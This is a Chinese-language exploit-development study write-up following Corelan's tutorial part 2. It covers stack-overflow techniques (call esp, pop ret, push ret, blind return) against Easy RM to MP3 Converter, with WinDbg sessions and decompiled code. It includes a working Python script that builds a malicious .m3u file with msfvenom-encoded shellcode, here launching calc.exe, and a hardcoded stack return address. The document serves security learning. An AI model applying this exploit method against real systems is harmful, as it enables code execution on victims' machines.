Learn Corelan Exploit Writing Part 2
0x00 环境搭建
Part2作为Part1的延续,在Part1基础的栈溢出漏洞上,介绍了几种ret2shellcode的方法,所以安全机制依旧是全关。虽然最终是跳转shellcode执行,但其中也掺杂了一些gadget选取和rop链的构造思想,有些地方还需要进一步的逆向和尝试,遂成此文。
0x01 跳转方式
call [reg]
在前文的漏洞环境中,和shellcode地址直接相关的便是esp寄存器,劫持eip跳转执行shellcode,比较容易想到的方法是jmp esp
和call esp
,在dll中寻找特定字节码的方法在原文中也已经提到过,照葫芦画瓢即可:
(fd4.21c): Break instruction exception - code 80000003 (first chance)
eax=7ffaa000 ebx=00000000 ecx=00000000 edx=77f5f125 esi=00000000 edi=00000000
eip=77ef40f0 esp=049fff5c ebp=049fff88 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!DbgBreakPoint:
77ef40f0 cc int 3
0:017> a
77ef40f0 call esp
call esp
77ef40f2
0:017> u 77ef40f0 L1
ntdll!DbgBreakPoint:
77ef40f0 ffd4 call esp
0:017> lm m kernel32
start end module name
77de0000 77eb4000 kernel32 (pdb symbols) c:\myserversymbols\kernel32.pdb\D4AC3906D49D487B9F69F9326A7D206A2\kernel32.pdb
0:017> s 77de0000 77eb4000 ff d4
77e9f7df ff d4 fc 0b 00 10 10 00-00 28 04 0c 00 ff ff ff .........(......
0:017> u 77e9f7df L1
kernel32!$$VProc_ImageExportDirectory+0xa81b:
77e9f7df ffd4 call esp
使用msfpescan也能在dll中寻找想要的gadget,exploit过程类似,往下不再重复赘述。
pop ret
如果将pop ret
中的ret
作为rop的链接者,那么pop
起到的作用就有两点:
- 增加esp,降低栈顶,略过栈上无效数据。
- 如果栈上有后续exploit相关的数据(如指向shellcode的地址),pop该数据至寄存器中,可为其后的gadget所用。
原文中假象场景后,使用pop pop ret
加上jmp esp
完成了漏洞利用。
push return
push ret
也是另一种劫持eip的方法,要push的数据还是得和我们的利用场景相关,原文中使用的push esp; ret
和jmp esp
的效果是一样的。
jmp [reg]+[offset]
原文中此方法的适用场景是某个寄存器的值位于shellcode(或关键代码)地址附近,需要增加一个偏移再跳转过去,但此类的gadget可能不是太好找。如果该寄存器是esp,增加偏移的操作可由pop或push代替;其他寄存器的话,增加偏移可由add或inc代替。总之,将复杂的gadget拆分替换成小的gadget可能更加容易寻找。
blind return
原文中场景是覆盖eip后还能控制esp指向的4字节,但这和原来的ret 4
有些矛盾了。既然是盲跳,感觉直接将eip覆盖为栈地址即可,也可能是我对于ret gadget加栈地址的适用场景理解不深刻。对于场景的理解有时候也是漏洞利用的突破点,这里覆盖eip为栈地址并非如原文所说是无法实现的,后文会逆向利用尝试一下。
dealing with small buffers
在这里原文还是jump esp后执行汇编代码,不过存放此汇编代码的缓冲区设得比较小,作者就使用add esp; jump esp
的方法最终跳转至shellcode。此处的shellcode为应用程序将栈上低地址处的padding拷贝至栈上高地址的数据,copy过程中具体的源地址和目标地址的偏移还有待我们逆向考证一番。
先看看栈上高地址处copy padding的偏移是多少:
with open("pattern.txt", "r") as f:
pattern = f.read().strip()
padding = "A" * (20000+1107)
ret = "\xd8\x2f\xeb\x77" # int 3
payload = pattern + padding +ret
with open("crash.m3u", "w") as f:
f.write(payload)
触发断点后查看栈上数据,偏移居然是0,也就是直接从头copy了一部分的padding,而原文中是因为payload尾部的nop过长,造成了一种截断的假象:
eax=00000001 ebx=00104a1c ecx=77f16570 edx=018505c0 esi=6fff2960 edi=000065ff
eip=77eb2fd8 esp=000ffcc4 ebp=00104604 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
kernel32!WakeConditionVariable+0x13839:
77eb2fd8 cc int 3
0:000> d esp-8
000ffcbc d8 2f eb 77 00 46 10 00-01 00 00 00 00 00 00 00 ./.w.F..........
000ffccc 4c 00 35 00 1c 4a 10 00-00 00 00 00 00 00 00 00 L.5..J..........
000ffcdc 41 61 30 41 61 31 41 61-32 41 61 33 41 61 34 41 Aa0Aa1Aa2Aa3Aa4A
000ffcec 61 35 41 61 36 41 61 37-41 61 38 41 61 39 41 62 a5Aa6Aa7Aa8Aa9Ab
000ffcfc 30 41 62 31 41 62 32 41-62 33 41 62 34 41 62 35 0Ab1Ab2Ab3Ab4Ab5
000ffd0c 41 62 36 41 62 37 41 62-38 41 62 39 41 63 30 41 Ab6Ab7Ab8Ab9Ac0A
000ffd1c 63 31 41 63 32 41 63 33-41 63 34 41 63 35 41 63 c1Ac2Ac3Ac4Ac5Ac
000ffd2c 36 41 63 37 41 63 38 41-63 39 41 64 30 41 64 31 6Ac7Ac8Ac9Ad0Ad1
观察栈帧的高低关系可以推断,先调用了某函数copy一部分padding至栈上,然后才调用的漏洞函数触发了栈溢出。因为还是没开任何安全机制,所以栈地址是不会发生变化的。老套路在000ffcdc处下硬件断点,在触发断点过程中可以根据汇编指令推断是否为我们要找的触发点,同时回溯栈帧也有助于我们的分析:
eax=7ffaa000 ebx=00000000 ecx=00000000 edx=77f5f125 esi=00000000 edi=00000000
eip=77ef40f0 esp=04b4ff5c ebp=04b4ff88 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\SYSTEM32\ntdll.dll -
ntdll!DbgBreakPoint:
77ef40f0 cc int 3
0:017> ba w 1 000ffcdc
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\system32\kernel32.dll -
0:017> bl
0 e 000ffcdc w 1 0001 (0001) 0:****
0:017> g
Breakpoint 0 hit
eax=00000000 ebx=00104a1c ecx=000000ff edx=00104604 esi=00000000 edi=000ffce0
eip=0041b820 esp=000ffcc4 ebp=00104604 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
*** WARNING: Unable to verify checksum for C:\Program Files\Easy RM to MP3 Converter\RM2MP3Converter.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Easy RM to MP3 Converter\RM2MP3Converter.exe
RM2MP3Converter+0x1b820:
0041b820 f3ab rep stos dword ptr es:[edi]
0:000> d 000ffcdc
000ffcdc 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000ffcec 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000ffcfc 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000ffd0c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000ffd1c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000ffd2c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000ffd3c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000ffd4c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0:000> g
Breakpoint 0 hit
eax=00000041 ebx=00000400 ecx=000ffcdc edx=77f070b4 esi=6fff2960 edi=00000400
eip=6ff6f577 esp=000ffc2c ebp=000ffc48 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\system32\msvcrt.dll -
msvcrt!fread+0x1af:
6ff6f577 8b4618 mov eax,dword ptr [esi+18h] ds:0023:6fff2978=00001000
0:000> k
ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
000ffc48 6ff6f455 msvcrt!fread+0x1af
000ffc90 6ff6f3e0 msvcrt!fread+0x8d
000ffcac 0041b9dc msvcrt!fread+0x18
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\system32\USER32.dll -
00104620 77d45aa7 RM2MP3Converter+0x1b9dc
0010465c 77d37206 USER32!CreateDialogParamW+0x477
00104678 77d2c4e7 USER32!DefDlgProcA+0x22
001046ac 77d1bb87 USER32!gapfnScSendMessage+0x1cf
001046b4 77d2c641 USER32!DefWindowProcA+0x6b
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\system32\MFC42.DLL -
0010476c 718a3335 USER32!gapfnScSendMessage+0x329
00104a1c 00000000 MFC42!Ordinal2385+0x2a
0:000> g
(684.e84): Break instruction exception - code 80000003 (first chance)
eax=00000001 ebx=00104a1c ecx=77f16570 edx=006905c0 esi=6fff2960 edi=000065ff
eip=77eb2fd8 esp=000ffcc4 ebp=00104604 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
kernel32!WakeConditionVariable+0x13839:
77eb2fd8 cc int 3
0:000> d 000ffcdc
000ffcdc 41 61 30 41 61 31 41 61-32 41 61 33 41 61 34 41 Aa0Aa1Aa2Aa3Aa4A
000ffcec 61 35 41 61 36 41 61 37-41 61 38 41 61 39 41 62 a5Aa6Aa7Aa8Aa9Ab
000ffcfc 30 41 62 31 41 62 32 41-62 33 41 62 34 41 62 35 0Ab1Ab2Ab3Ab4Ab5
000ffd0c 41 62 36 41 62 37 41 62-38 41 62 39 41 63 30 41 Ab6Ab7Ab8Ab9Ac0A
000ffd1c 63 31 41 63 32 41 63 33-41 63 34 41 63 35 41 63 c1Ac2Ac3Ac4Ac5Ac
000ffd2c 36 41 63 37 41 63 38 41-63 39 41 64 30 41 64 31 6Ac7Ac8Ac9Ad0Ad1
000ffd3c 41 64 32 41 64 33 41 64-34 41 64 35 41 64 36 41 Ad2Ad3Ad4Ad5Ad6A
000ffd4c 64 37 41 64 38 41 64 39-41 65 30 41 65 31 41 65 d7Ad8Ad9Ae0Ae1Ae
由此可知是一个fread函数往栈上读取数据,具体可以定位至RM2MP3Converter+0x1b9dc
:
FILE *__thiscall sub_41B7E0(void *this, char *Str)
{
//......
char DstBuf; // [sp+18h] [bp-490Ch]@1
unsigned int v36; // [sp+418h] [bp-450Ch]@1
char ArgList; // [sp+41Ch] [bp-4508h]@8
char v38; // [sp+2724h] [bp-2200h]@1
v2 = this;
result = 0;
memset(&v38, 0, 0x2200u);
memset(&v36, 0, 0x230Cu);
memset(&DstBuf, 0, 0x400u);
if ( Str )
{
//......
if ( sub_431330(Str) )
goto LABEL_42;
result = fopen(Str, aRb);
v5 = result;
if ( !result )
return result;
fread(&DstBuf, 1u, 0x400u, result);
if ( fseek(v5, 0, 2) )
return 0;
v6 = ftell(v5);
fclose(v5);
if ( v6 <= 0x40000 )
{
LABEL_42:
sub_418D30(2);
sub_41E2B0(v2, Str);
result = (FILE *)1;
}
//......
}
return result;
}
在函数中fread读取了0x400字节至sp+18h
,随后调用漏洞函数sub_41E2B0
并push了一个参数,栈帧大小和布局和前文的dump完全一致:
.text:0041BCEF
.text:0041BCEF loc_41BCEF:
.text:0041BCEF push 2
.text:0041BCF1 mov ecx, ebx
.text:0041BCF3 call sub_418D30
.text:0041BCF8 push ebp
.text:0041BCF9 mov ecx, ebx
.text:0041BCFB call sub_41E2B0
又多看了眼漏洞函数,在尾部有对局部变量Str清零的操作:
signed int __thiscall sub_41E2B0(void *this, const char *a2)
{
//......
char Str; // [sp+2328h] [bp-6600h]@3
char v51; // [sp+232Bh] [bp-65FDh]@13
char v52[8704]; // [sp+4528h] [bp-4400h]@3
char v53; // [sp+6728h] [bp-2200h]@8
//......
LABEL_7:
strcpy(&ArgList, a2);
v10 = *(_DWORD *)((char *)v2 + 137542);
v47 = strlen(a2);
sub_422E90(v10, 1, &v47);
return 1;
}
memset(&v53, 0, 0x2200u);
while ( (*(int (__cdecl **)(char *))((char *)v2 + 25714))(&Str) )
{
//......
LABEL_56:
memset(&Str, 0, 0x400u);
}
(*(void (**)(void))((char *)v2 + 25710))();
result = 1;
dword_47BEA8 = 1;
return result;
}
调试验证也是如此,其后依旧跟着许多”A”,感兴趣的同学也可以试试在这里放置shellcode跳转执行:
0:000> d esp-8-6600+400-20
000f9a9c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000f9aac 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000f9abc 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000f9acc 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000f9adc 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000f9aec 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000f9afc 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000f9b0c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
既然函数调用过程中会fread起始的0x400字节,那么就在此处填充shellcode,直接覆盖eip为固定的栈地址,同样也是可以利用成功的:
ret = "\xdc\xfc\x0f\x00" # 000ffcdc
# msfvenom -a x86 --platform Windows -p windows/exec CMD=calc.exe -e x86/shikata_ga_nai -b '\x00' -f python -v shellcode -n 16
# Found 1 compatible encoders
# Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
# x86/shikata_ga_nai succeeded with size 220 (iteration=0)
# x86/shikata_ga_nai chosen with final size 220
# Successfully added NOP sled from x86/single_byte
# Payload size: 236 bytes
# Final size of python file: 1280 bytes
shellcode = ""
shellcode += "\x4b\x91\x93\x92\xd6\x9f\x4b\x98\x41\xf9\xf8\xf9"
shellcode += "\xfc\x49\x4a\x27\xbb\x7b\xc9\xb4\x48\xd9\xcd\xd9"
shellcode += "\x74\x24\xf4\x58\x29\xc9\xb1\x31\x31\x58\x13\x03"
shellcode += "\x58\x13\x83\xc0\x7f\x2b\x41\xb4\x97\x29\xaa\x45"
shellcode += "\x67\x4e\x22\xa0\x56\x4e\x50\xa0\xc8\x7e\x12\xe4"
shellcode += "\xe4\xf5\x76\x1d\x7f\x7b\x5f\x12\xc8\x36\xb9\x1d"
shellcode += "\xc9\x6b\xf9\x3c\x49\x76\x2e\x9f\x70\xb9\x23\xde"
shellcode += "\xb5\xa4\xce\xb2\x6e\xa2\x7d\x23\x1b\xfe\xbd\xc8"
shellcode += "\x57\xee\xc5\x2d\x2f\x11\xe7\xe3\x24\x48\x27\x05"
shellcode += "\xe9\xe0\x6e\x1d\xee\xcd\x39\x96\xc4\xba\xbb\x7e"
shellcode += "\x15\x42\x17\xbf\x9a\xb1\x69\x87\x1c\x2a\x1c\xf1"
shellcode += "\x5f\xd7\x27\xc6\x22\x03\xad\xdd\x84\xc0\x15\x3a"
shellcode += "\x35\x04\xc3\xc9\x39\xe1\x87\x96\x5d\xf4\x44\xad"
shellcode += "\x59\x7d\x6b\x62\xe8\xc5\x48\xa6\xb1\x9e\xf1\xff"
shellcode += "\x1f\x70\x0d\x1f\xc0\x2d\xab\x6b\xec\x3a\xc6\x31"
shellcode += "\x7a\xbc\x54\x4c\xc8\xbe\x66\x4f\x7c\xd7\x57\xc4"
shellcode += "\x13\xa0\x67\x0f\x50\x5e\x22\x12\xf0\xf7\xeb\xc6"
shellcode += "\x41\x9a\x0b\x3d\x85\xa3\x8f\xb4\x75\x50\x8f\xbc"
shellcode += "\x70\x1c\x17\x2c\x08\x0d\xf2\x52\xbf\x2e\xd7\x30"
shellcode += "\x5e\xbd\xbb\x98\xc5\x45\x59\xe5"
padding = "A" * (0x6600-5-len(shellcode))
# with open("pattern.txt", "r") as f:
# pattern = f.read().strip()
payload = shellcode + padding + ret
with open("crash.m3u", "w") as f:
f.write(payload)
other jumps
个人觉得这一段还是在说,劫持eip可以执行我们的汇编代码后,手工编写jump2shellcode的一些方法:
- 使用
popad
指令高效增加栈地址,随后jump esp
。 - 直接jump硬编码地址。
- 使用近跳
\xe9
、远跳\xea
、短跳\xeb
负值。 - 也可以考虑使用条件跳转相关指令。
0x02 总结
整个原文有趣的是,在开始处提了几笔shellcode编码和填充nop的事情,中间也说了一下软件dll rebase可能会导致地址不靠谱,用系统dll比较稳一点,看来之前的磨刀并没有耽误砍柴工。
这一章就是要跳转至shellcode执行,这个事分为两步,一个是寻找跳转的指令,一个是寻找跳转的地址。私以为漏洞利用的水平取决于,对软件功能点逆向的熟悉度,对漏洞上下文环境的观察度,对漏洞利用技巧的掌握度,整体思路的把握度再加上一点点创新度,仅此而已,聊以共勉。